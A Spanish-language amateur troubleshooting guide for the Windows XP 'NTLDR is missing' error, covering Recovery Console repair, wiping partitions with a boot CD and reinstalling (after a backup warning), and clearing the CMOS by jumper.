La forma mas comun para solucionar el problema de Falta el archivo NTLDR, considerando de que el usuario lo haya borrado, es seguiendo el procedimiento siguiente:

1.- Arrancar el pc con el disco de Windows XP metido.
2.- Cuando nos salga el asistente de instalación de Windows Xp elegir la opción de Reparar Sistema.
(En caso de que no salga el asistente significa que el sistema no ha podido arrancar desde el CD).
Si sigue igual, entra en la BIOS y comprueba que la primera unidad en la secuencia de arranque es alguna de tus unidades de CD/DVD.
3.- Una vez que tengamos en pantalla el editor con C:\Windows, teclear 1 y presiona Enter.
4.- Nos pedirá la Clave de administrador. Si hemos puesto una clave la ponemos. Si no hemos puesto clave pulsamos Intro.
5.- Una vez que estemos en C:\Windows teclear FIXMBR y pulsar Intro.
6.- El sistema nos advierte de que si queremos continuar y ponemos S y presionamos Enter.

Una vez que estamos en el punto 6, tenemos que copiar dos archivos, debido que en dicha pérdida se arrastra también otro que es el ntdetect, por lo tanto hay que copiar ntldr y ntdetect en nuestro disco duro.

Para ello escribiremos lo siguiente:
copy D:\i386\ntldr C:\
copy D:\i386\ntdetect.com C:\

(Donde D:\ sería la unidad lectora donde se encuentra el cd de Windows XP y C:\ es la unidad de arranque donde tenemos instalado Windows).

Si todo sale bien debería de funcionar.

En caso de que siga sin funcionar y estamos seguros de que todo lo hemos hecho bien, el problema está en el espacio reservado para la informacion del HD.

Error en espacio reservado de Disco Duro

De aqui en adelante se requiere dar nuevo formato al HD, asi que antes de continuar respalde su informacion en alguna otra PC, algun amigo o familiar puede ayudarlo en eso.

Bien, para recuperar el funcionamiento del HD en cuestion utilizaremos nuestro cd de Hiren's Boot CD, que como su nombre lo indica es un disco de Arranque.

Introduzca el CD en su unidad lectora y reinicie su equipo. Al reiniciar, su equipo preguntará desde donde iniciar, selecciones la opcion Boot CD.

En el nuevo menu seleccione el programa llamado "Partition Magic 8.2 " y espere a que cargue.
Una vez en el programa, borre todas las particiones existentes, ya sean logicas o primarias. El programa es muy intuitivo, asi que no debe representar algun problema en su uso.

Bien. Despues de haber borrado particiones salga del programa. Este a su vez le dira que reinicie su equipo. Hagalo.
Ahora que su HD esta completamente limpio solo resta reinstalar su sistema operativo.

El problema debe estar resuelto.

"Pero el problema SIGUE!!!!"

Si despues de lo anterior el problema sigue, el problema esta en el BIOS.

Error por Configuracion de BIOS

Lo primero que tenemos que hacer es limpiar el CMOS, pero lo haremos por configuracion de Jumpers, que son las cositas de plastico que hacen puente entre los pines en dispositivos de hardware. Si lo hacemos por BIOs no sirve de nada.

Antes de hacerlo asegurense de que la maquina esta completamente desconectada, Incluso del cable del monitor.

Ahora abran su pc y busquen en la tarjeta madre donde dice CMOS reset, son 3 pines en los que el jumper hace puente de el 1 con el 2, generalmente esta por donde esta la bateria, que esta a su vez casi siempre esta en la esquina inferior derecha. Una vez localizado cambien el puente y ponganlo que quede un puente del pin 2 con el 3 y Retire la bateria por un momento.
conecte su maquina, prendala y apaguela. Ahora regrese los pines al puente 1 con 2 e inserte la bateria.

Bien, el BIOS esta configurado por defecto a la configuracion de fabrica.
Ya que esta limpio su BIOS, solo queda configurar nuevamente el orden de arranque de las unidades, fecha y hora.

una vez hecho esto siga los pasos indicados para la eliminacion de particiones con el uso de Hiren's Boot CD.

Para el orden de arranque de unidades recomiendo ponerlas de la siguiente manera

1.-Floppy
2.-CD/DVD
3.-HD
4.-Otros

Finalmente solo queda reinstalar el sistema operativo.
Cuando el asistente de instalacion pregunte el tipo de format que decea dar a la unidad de HD, por favor, de un formato completo de tipo NTFS, se que es mas tardado, pero es mucho mejor.

Ahora si, el problema debe estar solucionado completamente.

En caso de alguna duda pueden conactarme a mi e-mail.